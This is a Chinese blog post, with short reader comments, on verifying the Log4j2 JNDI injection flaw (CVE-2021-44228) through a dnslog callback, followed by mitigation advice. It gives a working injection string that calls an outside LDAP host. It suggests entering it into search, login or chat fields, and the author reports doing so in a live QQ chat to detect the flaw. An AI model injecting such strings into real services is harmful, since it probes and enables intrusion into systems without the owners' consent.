验证 log4j2 漏洞(JNDI 注入 CVE-2021-44228)

本文仅供学习使用,切勿用于违法犯罪。

本文尝试利用该漏洞使远程服务器请求 dnslog 中随机生成的网址,并验证执行结果。

也希望各家平台可以尽快修复此漏洞。

 

漏洞影响范围

2.0 <= Apache log4j <= 2.14.1

 

验证方式

获取随机子域名

进入 dnslog 网站,获取一个随机子域名,如下图:


img

 

构造特殊字符串

使用获取的随机子域名构造如下字符串。

${jndi:ldap://317g7w.dnslog.cn/exp}

 

在候选程序中注入该字符串

可注入位置例如网站搜索框、登录框、聊天框等。

本文于 2021.12.10 20:55:05 尝试在 QQ 聊天框中输入该字符串。


img

 

刷新请求日志

如下图,可以看到有一台服务器请求了随机生成的子域名,且确定该 IP 属于腾讯云,因此可以认为 QQ 中目前存在这一远程代码执行漏洞。


img


img

 

修复建议

因为本人并未从事安全方面的工作,因此此建议搬运并总结于其他大佬的文章。

  1. 升级 log4j 至 2.14.1 以上,例如 2.15.0-rc2 及以上(听说 rc1 并不安全,原因需自行搜索)
  2. 对于 2.10 及以上的版本,考虑添加参数 -Dlog4j2.formatMsgNoLookups=true,详情可见 org.apache.logging.log4j.core.pattern.MessagePatternConverter.format

 

参考链接


我想对千千说~

  • 7 只已被捕捉
    • 老杜 Mozilla FireFox | 112.0 Windows 10

      学习了

    • 防水涂料加盟 Mozilla FireFox | 95.0 Windows 10

      感谢分享 赞一个

      • 千千 Chrome | 97.0.4692.71 Mac OS X

        感谢感谢,欢迎常来呦 ~ ヾ(^▽^*)))

    • ZhengTai Chrome | 96.0.4664.110 Windows 10

      Pingback,好久没有接触ACM了,不过走进千千博客看到的却是熟悉的log4j,搞信安的学弟祝千千在ECNU的其他AI比赛取得好成绩~

      • 千千 Chrome | 96.0.4664.110 Mac OS X

        哇,一起加油加油~ 祝夺旗次次顺利~|´・ω・)ノ

    • 菜菜 Chrome | 96.0.4664.110 Mac OS X

      qq一声不吭背着我研究 log4j,记住了

      • 千千 Chrome | 96.0.4664.110 Windows 10

        呜呜呜,咋回事,我就好奇看一看